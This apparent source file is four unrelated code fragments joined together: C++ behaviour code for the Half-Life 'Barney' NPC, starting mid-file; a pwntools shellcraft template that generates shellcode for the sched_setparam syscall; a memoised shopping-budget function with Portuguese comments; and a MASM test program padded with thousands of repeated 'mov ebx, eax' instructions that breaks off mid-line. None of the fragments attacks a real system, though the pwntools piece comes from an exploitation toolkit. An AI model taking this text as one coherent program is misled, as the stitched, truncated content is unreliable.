"BA_MORTAL"; // get voice for head - just one barney voice for now m_voicePitch = 100; } BOOL IsFacing( entvars_t *pevTest, const Vector &reference ) { Vector vecDir = (reference - pevTest->origin); vecDir.z = 0; vecDir = vecDir.Normalize(); Vector forward, angle; angle = pevTest->v_angle; angle.x = 0; UTIL_MakeVectorsPrivate( angle, forward, NULL, NULL ); // He's facing me, he meant it if ( DotProduct( forward, vecDir ) > 0.96 ) // +/- 15 degrees or so { return TRUE; } return FALSE; } int CBarney :: TakeDamage( entvars_t* pevInflictor, entvars_t* pevAttacker, float flDamage, int bitsDamageType) { // make sure friends talk about it if player hurts talkmonsters... int ret = CTalkMonster::TakeDamage(pevInflictor, pevAttacker, flDamage, bitsDamageType); if ( !IsAlive() || pev->deadflag == DEAD_DYING ) return ret; if ( m_MonsterState != MONSTERSTATE_PRONE && (pevAttacker->flags & FL_CLIENT) ) { m_flPlayerDamage += flDamage; // This is a heurstic to determine if the player intended to harm me // If I have an enemy, we can't establish intent (may just be crossfire) if ( m_hEnemy == NULL ) { // If the player was facing directly at me, or I'm already suspicious, get mad if ( (m_afMemory & bits_MEMORY_SUSPICIOUS) || IsFacing( pevAttacker, pev->origin ) ) { // Alright, now I'm pissed! PlaySentence( "BA_MAD", 4, VOL_NORM, ATTN_NORM ); Remember( bits_MEMORY_PROVOKED ); StopFollowing( TRUE ); } else { // Hey, be careful with that PlaySentence( "BA_SHOT", 4, VOL_NORM, ATTN_NORM ); Remember( bits_MEMORY_SUSPICIOUS ); } } else if ( !(m_hEnemy->IsPlayer()) && pev->deadflag == DEAD_NO ) { PlaySentence( "BA_SHOT", 4, VOL_NORM, ATTN_NORM ); } } return ret; } //========================================================= // PainSound //========================================================= void CBarney :: PainSound () { if (gpGlobals->time < m_painTime) return; m_painTime = gpGlobals->time + RANDOM_FLOAT(0.5, 0.75); switch (RANDOM_LONG(0,2)) { case 0: EMIT_SOUND_DYN( ENT(pev), CHAN_VOICE, "barney/ba_pain1.wav", 1, ATTN_NORM, 0, GetVoicePitch()); break; case 1: EMIT_SOUND_DYN( ENT(pev), CHAN_VOICE, "barney/ba_pain2.wav", 1, ATTN_NORM, 0, GetVoicePitch()); break; case 2: EMIT_SOUND_DYN( ENT(pev), CHAN_VOICE, "barney/ba_pain3.wav", 1, ATTN_NORM, 0, GetVoicePitch()); break; } } //========================================================= // DeathSound //========================================================= void CBarney :: DeathSound () { switch (RANDOM_LONG(0,2)) { case 0: EMIT_SOUND_DYN( ENT(pev), CHAN_VOICE, "barney/ba_die1.wav", 1, ATTN_NORM, 0, GetVoicePitch()); break; case 1: EMIT_SOUND_DYN( ENT(pev), CHAN_VOICE, "barney/ba_die2.wav", 1, ATTN_NORM, 0, GetVoicePitch()); break; case 2: EMIT_SOUND_DYN( ENT(pev), CHAN_VOICE, "barney/ba_die3.wav", 1, ATTN_NORM, 0, GetVoicePitch()); break; } } void CBarney::TraceAttack( entvars_t *pevAttacker, float flDamage, Vector vecDir, TraceResult *ptr, int bitsDamageType) { switch( ptr->iHitgroup) { case HITGROUP_CHEST: case HITGROUP_STOMACH: if (bitsDamageType & (DMG_BULLET | DMG_SLASH | DMG_BLAST)) { flDamage = flDamage / 2; } break; case 10: if (bitsDamageType & (DMG_BULLET | DMG_SLASH | DMG_CLUB)) { flDamage -= 20; if (flDamage <= 0) { UTIL_Ricochet( ptr->vecEndPos, 1.0 ); flDamage = 0.01; } } // always a head shot ptr->iHitgroup = HITGROUP_HEAD; break; } CTalkMonster::TraceAttack( pevAttacker, flDamage, vecDir, ptr, bitsDamageType ); } void CBarney::Killed( entvars_t *pevAttacker, int iGib ) { if ( pev->body < BARNEY_BODY_GUNGONE ) {// drop the gun! Vector vecGunPos; Vector vecGunAngles; pev->body = BARNEY_BODY_GUNGONE; GetAttachment( 0, vecGunPos, vecGunAngles ); CBaseEntity *pGun = DropItem( "weapon_9mmhandgun", vecGunPos, vecGunAngles ); } SetUse( NULL ); CTalkMonster::Killed( pevAttacker, iGib ); } //========================================================= // AI Schedules Specific to this monster //========================================================= Schedule_t* CBarney :: GetScheduleOfType ( int Type ) { Schedule_t *psched; switch( Type ) { case SCHED_ARM_WEAPON: if ( m_hEnemy != NULL ) { // face enemy, then draw. return slBarneyEnemyDraw; } break; // Hook these to make a looping schedule case SCHED_TARGET_FACE: // call base class default so that barney will talk // when 'used' psched = CTalkMonster::GetScheduleOfType(Type); if (psched == slIdleStand) return slBaFaceTarget; // override this for different target face behavior else return psched; case SCHED_TARGET_CHASE: return slBaFollow; case SCHED_IDLE_STAND: // call base class default so that scientist will talk // when standing during idle psched = CTalkMonster::GetScheduleOfType(Type); if (psched == slIdleStand) { // just look straight ahead. return slIdleBaStand; } else return psched; } return CTalkMonster::GetScheduleOfType( Type ); } //========================================================= // GetSchedule - Decides which type of schedule best suits // the monster's current state and conditions. Then calls // monster's member function to get a pointer to a schedule // of the proper type. //========================================================= Schedule_t *CBarney :: GetSchedule () { if ( HasConditions( bits_COND_HEAR_SOUND ) ) { CSound *pSound; pSound = PBestSound(); ASSERT( pSound != NULL ); if ( pSound && (pSound->m_iType & bits_SOUND_DANGER) ) return GetScheduleOfType( SCHED_TAKE_COVER_FROM_BEST_SOUND ); } if ( HasConditions( bits_COND_ENEMY_DEAD ) && FOkToSpeak() ) { PlaySentence( "BA_KILL", 4, VOL_NORM, ATTN_NORM ); } switch( m_MonsterState ) { case MONSTERSTATE_COMBAT: { // dead enemy if ( HasConditions( bits_COND_ENEMY_DEAD ) ) { // call base class, all code to handle dead enemies is centralized there. return CBaseMonster :: GetSchedule(); } // always act surprized with a new enemy if ( HasConditions( bits_COND_NEW_ENEMY ) && HasConditions( bits_COND_LIGHT_DAMAGE) ) return GetScheduleOfType( SCHED_SMALL_FLINCH ); // wait for one schedule to draw gun if (!m_fGunDrawn ) return GetScheduleOfType( SCHED_ARM_WEAPON ); if ( HasConditions( bits_COND_HEAVY_DAMAGE ) ) return GetScheduleOfType( SCHED_TAKE_COVER_FROM_ENEMY ); } break; case MONSTERSTATE_ALERT: case MONSTERSTATE_IDLE: if ( HasConditions(bits_COND_LIGHT_DAMAGE | bits_COND_HEAVY_DAMAGE)) { // flinch if hurt return GetScheduleOfType( SCHED_SMALL_FLINCH ); } if ( m_hEnemy == NULL && IsFollowing() ) { if ( !m_hTargetEnt->IsAlive() ) { // UNDONE: Comment about the recently dead player here? StopFollowing( FALSE ); break; } else { if ( HasConditions( bits_COND_CLIENT_PUSH ) ) { return GetScheduleOfType( SCHED_MOVE_AWAY_FOLLOW ); } return GetScheduleOfType( SCHED_TARGET_FACE ); } } if ( HasConditions( bits_COND_CLIENT_PUSH ) ) { return GetScheduleOfType( SCHED_MOVE_AWAY ); } // try to say something about smells TrySmellTalk(); break; } return CTalkMonster::GetSchedule(); } MONSTERSTATE CBarney :: GetIdealState () { return CTalkMonster::GetIdealState(); } void CBarney::DeclineFollowing() { PlaySentence( "BA_POK", 2, VOL_NORM, ATTN_NORM ); } //========================================================= // DEAD BARNEY PROP // // Designer selects a pose in worldcraft, 0 through num_poses-1 // this value is added to what is selected as the 'first dead pose' // among the monster's normal animations. All dead poses must // appear sequentially in the model file. Be sure and set // the m_iFirstPose properly! // //========================================================= class CDeadBarney : public CBaseMonster { public: void Spawn() override; int Classify () override { return CLASS_PLAYER_ALLY; } void KeyValue( KeyValueData *pkvd ) override; int m_iPose;// which sequence to display -- temporary, don't need to save static const char *m_szPoses[3]; }; const char *CDeadBarney::m_szPoses[] = { "lying_on_back", "lying_on_side", "lying_on_stomach" }; void CDeadBarney::KeyValue( KeyValueData *pkvd ) { if (FStrEq(pkvd->szKeyName, "pose")) { m_iPose = atoi(pkvd->szValue); pkvd->fHandled = TRUE; } else CBaseMonster::KeyValue( pkvd ); } LINK_ENTITY_TO_CLASS( monster_barney_dead, CDeadBarney ); //========================================================= // ********** DeadBarney SPAWN ********** //========================================================= void CDeadBarney :: Spawn( ) { PRECACHE_MODEL("models/barney.mdl"); SET_MODEL(ENT(pev), "models/barney.mdl"); pev->effects = 0; pev->yaw_speed = 8; pev->sequence = 0; m_bloodColor = BLOOD_COLOR_RED; pev->sequence = LookupSequence( m_szPoses[m_iPose] ); if (pev->sequence == -1) { ALERT ( at_console, "Dead barney with bad pose\n" ); } // Corpses have less health pev->health = 8;//gSkillData.barneyHealth; MonsterInitDead(); }
<% from pwnlib.shellcraft.i386.linux import syscall %> <%page args="pid, param"/> <%docstring> Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information. Arguments: pid(pid_t): pid param(sched_param): param </%docstring> ${syscall('SYS_sched_setparam', pid, param)}
int shop(int current_m, int idx){ if(current_m<0){ /*** Caso base, retornamos um inteiro negativo grande caso o * montante atual seja negativo ***/ return numeric_limits<int>::min(); } if(idx==C){ /*** Caso contrário, chegamos em uma solução, não necessariamente * ótima, e o valor total gasto é M - current_m */ return M-current_m; } // Verificamos se o problema já foi resolvido int& ans = memo[current_m][idx]; if(ans !=-1) return ans; for(int i=0;i<quantity[idx];i++){ ans = max(ans,shop(current_m-price[idx][i],idx+1)); } return ans; }
.686p ;enable instructions .xmm ;enable instructions .model flat, stdcall ;use C naming convention (stdcall is default) ; include C libraries .data ;initialized data message db "drgat test 1 32 bit",0dh,0ah,0 message_end db 0 .data? ;uinitialized data .stack 4096 ;stack (optional, linker will default) .code ;code ; extrn printf:near GetStdHandle PROTO STDCALL :DWORD ExitProcess PROTO STDCALL :DWORD Sleep PROTO STDCALL :DWORD WriteFile proto, hFile:dword, lpBuffer:near32, ;A handle to the device nNumberOfCharsToWrite:dword, ;The maximum number of bytes to be written. lpNumberOfbytesWritten:near32, ;A pointer to the variable that receives the number of bytes written lpOverlapped:near32 public main main: ; header of 12 instructions ; total 8864 instructions ;basic block 0 ;5x nodes [0-3 + extern] mov ebp, esp sub esp, 4 push -11 ;this is technically 2 instructions but the .idata thunk is ignored for layout readability ; it is 2 nodes, however - the call and the GetStdHandle extern call GetStdHandle ;basic block 2 (the GetStdHandle .idata thunk is block 1) ;9x nodes [5-12 + writefile] mov ebx, eax push 0 lea eax, [ebp-4] push eax push (message_end - message) push offset message push ebx call writefile mov ecx, 100 looptop: ; 10000 of these mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov 